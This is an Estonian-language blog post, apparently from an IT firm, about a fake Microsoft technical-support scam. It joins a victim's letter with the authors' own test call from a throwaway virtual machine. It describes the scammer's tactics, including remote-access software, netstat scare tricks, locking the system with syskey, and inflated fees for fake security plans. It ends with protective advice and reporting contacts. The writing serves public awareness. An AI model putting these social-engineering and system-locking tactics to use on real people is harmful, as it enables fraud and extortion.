Kastikeses seisis kirjas, et tuleb viivitamatult helistada Microsofti tugikeskusesse (seal oli antud telefon +372 668 24**). Helistasin siis, küsiti, et millega saavad aidata. Kõik toimus inglise keeles. Rääkisin probleemi ära. Kästi minna mõne teise brauseriga leheküljele www.helpme.net. Sinna tuli sisestada oma nimi ja kood, mis anti mulle telefonis. Seejärel laadis arvuti alla ühe .exe faili, mis tuli avada, ja hakkas peale mingi töötlusprotsess. See pidi olema arvuti skanneerimine.

Asi lõppes sellega, et öeldi, et mul on vaja oma arvutile kaitse- või turvaprogramm peale panna, see maksvat 400 eurot ja seda saavat ainult nende käest. Selle peale lõpetasin kõne ära ja lasin ühel tuttaval oma tuttava it-mehe käest küsida, mida selline asi peaks tähendama. Tema ütles, et see olevat lollide püüdmise nipp ja et sellest tuleb kindlasti kuhugi teatada.

Ma aga muretsen nüüd selle pärast, et ma üldse nendega suhtlesin ja selle .exe faili avasin. Lihtsalt ei teadnud, milles asi. Kardan, et äkki neil on nüüd mu arvutile ja andmetele mingi juurdepääs. Esialgu polnud muud hullu märgata, kui nool ei reageerinud klikkamistele. Praegu panin selle arvuti kinni ja võtsin teise arvuti. Aga kas on oht, et mu kontodele võidakse ligi pääseda ja mis ma peaksin nüüd tegema? Kasutan ka internetipanka.

Aitäh, P. – loodetavasti oli Su arvuti ülevaatus päris IT-spetside poolt edukas!

Mis siis toimus?

Asja lühidalt kokku võttes kuvati arvutikasutajale “reklaambännerit” väitega, et arvuti on nakatatud – see võib juhtuda mõne täiesti viisaka veebilehe külastamisel puhta arvutiga. Kuna meil konkreetse reklaami näidet pole, siis laename sarnase päris-Microsofti Windows Security blogist:

Sedapuhku oli aga kirsiks tordil ilus Eestimaine telefoninumber. Mis siis ikka, astusime läbi lähimast Selverist ning ostsime odavaima ehk 1€ kõnekaardi – ning panime püsti värske Windows 8 virtuaalmasina, mille saab pärast blogiposti jaoks piltide tegemist minema visata. Ka võrguühenduseks kasutasime 4G võrku.

Kohustuslik hoiatus: “Palun ära proovi seda kodus järgi teha!”. Meie kasutatud virtuaalmasin läks pärast testi hävitamisele.

On aeg valida number, mis ühendab meid ilmselt kusagilt Indias oleva kõnekeskusega:

Seejärel palutakse kasutajal avada brauser, minna Google lehele ning öeldakse, mis tuleb sisse tippida. Meil tuli otsida “fast support” ning nii jõudsimegi fastsupport.com lehele. Samasse viib edasi ka algses kirjas viidatud helpme.net. Tegemist on tuntud LogMeIn teenusega, mille kaudu osutavad tehnilist kaughaldustuge sajad erinevad infotehnoloogiaettevõtted üle maailma.

“Tehnilise toe” osutamiseks on petturid loonud enesele Fastsupport keskkonnas kasutajakonto, millega kaasneb automaatselt ka kaughaldusrakendus. See laeti “kärbsepaberile” lennanud ohvri arvutisse .exe failina niipea, kui viimane oli petturite “tehnilise toega” telefonitsi ühendust võtnud ning veenvalt ja usutavalt teispool toru inglise keeles esinenud petturitelt saadud koodiga Fastsupporti keskkonda sisenenud.

Ehkki kõnealuse veebilehe sisselogimiskeskkonna päises on hoiatus, mis kutsub kasutajaid üles ettevaatlikkusele oma arvutile ligipääsu võimaldamisel ning kahtlastest tegevustest neile kindlasti märku andma, on küberkriminaalid leidnud siiski viisi ka selle keskkonna kurjalt ärakasutamiseks. Ja nagu eelnevast näitest näha, teevad nad seda osavalt.

Kui keegi meie lugejatest peaks sarnase olukorraga tulevikus kokku puutuma, siis kuni selle hetkeni (kaughaldurakendus on laetud, aga “yes” on klikkimata), pole reaalselt veel mingit kahju tehtud. Siit edasi võtab aga pettur arvuti üle juba täieliku kontrolli, liigutab ekraanil hiirt ja tipib käskusid.

Edasine suhtlus seisnebki selles, et pettur näitab arvutis erinevaid “probleeme”: veateated süsteemsete sündmuste logis, mingid kummalise nimega DLL-failid mille nime googeldamine annab tulemuseks väite, et tegu on tagauksega. Jah, internetis on tõesti olemas veebilehed, mis sisaldavad praktiliselt kõigi Windowsi komponentide kohta selgitust, et tegu on suure probleemiga ja kohe on vaja osta mingi võlts antiviirus:

Et asi veelgi hirmsamaks ajada, käivitatakse käsurealt Netstat näitamaks, et arvutil on mingid võrguühendused püsti ja selle käigus küsitakse kasutajalt, kas ta tunneb neid IP-aadresse. Ei tunne? Raudselt on tegu häkkeritega:

Aga töö käigus mõeldakse ka tulevikule. Meie puhul käis kiiresti ekraanilt läbi tegevus mingi “syskey” nimelise tööriista abil:

See on juba kuri tegu – nüüd peaks Windows hakkama käivitumisel “Startup key” nimelist parooli küsima ja petturil on tõesti õigus väita, et meil on väga tõsine probleem … millest saab üle vaid talle lunaraha makstes.

Edasi avatakse Notepad ja hakatakse sinna tippima nimekirja töödest, mis vaja teha – jõutakse tulemuseni, et see on umbes 50 minutit tööd ning Microsoft’i hinnakirja kohaselt (mida vahepeal brauseris otsitakse ja kuvatakse) maksab lifetime security 1499,99 € ja viieks aastaks 1399,99 €. Ühekordne parandus on kõigest 499,99 €, aga seda ei soovitata, sest siis tuleb aasta pärast porno tagasi:

Nagu näha, on Notepad’is kenasti valmis tehtud väljad krediitkaardinumbri sisestamiseks … ning kui ma lahkun “krediitkaarti otsima” tuleb hindikeelne lausejupp (mille Google tõlgib kui “How are you, bay dog?”), kaughalduslahendus talletab mingi muudatuse virtuaalmasinas … ning siis:

Ilmselt tuli Parallels’i virtuaalmasina kasutus sellele tüübile üllatusena, sest ta küll vaatas vahepeal “dxdiag” tööriista abil süsteemi infot… aga jätkas agaralt müügitööd.

Kuidas selliseid asju vältida?

Nagu paljude asjadega siin elus, saab kõik alguse hügieenist. Täpselt samamoodi, nagu me hoolitseme pimedal ja viirusterohkel aastaajal oma tervise eest, pestes käsi, süües vitamiinirohkeid toitusid ning ohtralt liikudes, tuleb käituda ka virtuaalses maailmas. Mantratena kordame siinkohal soovitusi vältida klõpsamisi kahtlastele linkidele ning siin-seal lahtihüppavatele popup akendele. Uuenduste saabudes värskenda alati oma arvuti operatsioonisüsteemi ning uuenda perioodiliselt viiruse- ja pahavaratõrjet. Need üleskutsed jäävad paratamatult ja tungivalt kõlama ka selle kirjatüki juures. Palun ole valvas. Ole v e e l g i valvsam!

Kindlasti soovitame netiavaruse kahtlasematesse soppidesse sattudes säilitada külma närvi, sest mitmed veebipettused, kaasa arvatud selles kirjatükis lahatav nn. tehnilise toe pettus, toetuvad eeskätt inimlikele nõrkustele ja emotsioonidele: hirmudele ja sellega kaasnevale ehmatusele, mida on osaval pätil väga lihtne oma huvides ära kasutada. Ja mis seal salata – netikasutaja napp teadlikkus ning puudulik valmisolek vilkuvaid ja ähvardavaid veebibännereid sellistes olukordades lihtsalt ignoreerida on vaid kütuseks petturitele.

Kirjeldatud petuskeemi eest hoiatas oma säutsuga käesoleva kuu alguses meie kõigi kübarturvalisuse eest hoolt kandev CERT.ee, mis soovitab kasutada efektiivset ja tõhusat tööriista pahavara avastamiseks: https://www.malwarebytes.com/ . Selle soovitusega ühineme ka meie.

Hoidku kõigevägevamad (Google, Facebook ja AliExpress) meie blogi lugejaid sarnastesse olukordadesse sattumast, kuid kui see peaks kõigele vaatamata juhtuma, siis kindlasti ärge tehke petturitele mingisuguseidki järeleandmisi!

Sarnaselt meie loo ohvriga katkesta kõne, jäta selles arvutis katki kõik pooleliolevad toimingud ning lase esimese asjana oma arvuti üle vaadata ja seejärel puhastada pädeval IT-spetsialistil.

Ehkki tegu on rahvusvahelise mastaabiga petuskeemiga ning selle ametlik menetlemine jõuametkondade poolt ei pruugi tulemusteni viia, ei tee paha ka juhtunust teatamine meie küberpolitseile cybercrime@politsei.ee ja Riigi Infosüsteemi Ameti küberintsidentide tiimile cert@cert.ee, kes saavad sellest lähtuvalt vähemalt meedia kaudu hoiatuse teiste kasutajateni viia.

Lisaks: kui oledki sarnase skeemi poolt juba “pihta saanud”, siis soovitame teist arvutit kasutades ära vahetada kõik oma olulisemate teenuste paroolid: Zone, Gmail, Facebook jt ning rakendada neis nn. kahe faktoriga sisselogimist. Kuigi meie testis tundus asi piirduvat krediitkaardi numbri õngitsemisega ei või kunagi kindel olla, mida nad kasutajale märkamatult on paigaldanud.

Google puhul saab sellega alustada https://www.google.com/landing/2step/ ning selleks piisab kõige lihtsamast lahendusest, mis saadab mobiilile SMSiga kontrollkoodi, kui proovid uuest seadmest sisse logida. Ka Facebook’i jaoks leiab samasuguse lahenduse.

Netipankade – ja Zone teenuste – kasutamisel mobiil-ID või ID-kaardi (pankade puhul lisaks ka Smart-ID) abil tõenäoliselt riski ei ole, aga kindlasti ei maksaks seda teha sellest arvutist, kuhu klienditoe-petturid üle kaughalduse ligi said, enne kui spetsialist selle üle kontrollis ja ära puhastas. Hunt seda teab, mis nad oma ladusa jutu kõrval tegid – või mis selles arvutis juba varem või probleemiks olla.

P.S. Kui tekstist paistab läbi isiksuse kahestumine, siis olgu selgitatud, et Jaanus kirjutas kõigepealt õpetliku jutu kokku… ja siis jõudis kohale Pets eurose SIM-kaardiga ning kirjutas sinna keskele praktilise testi.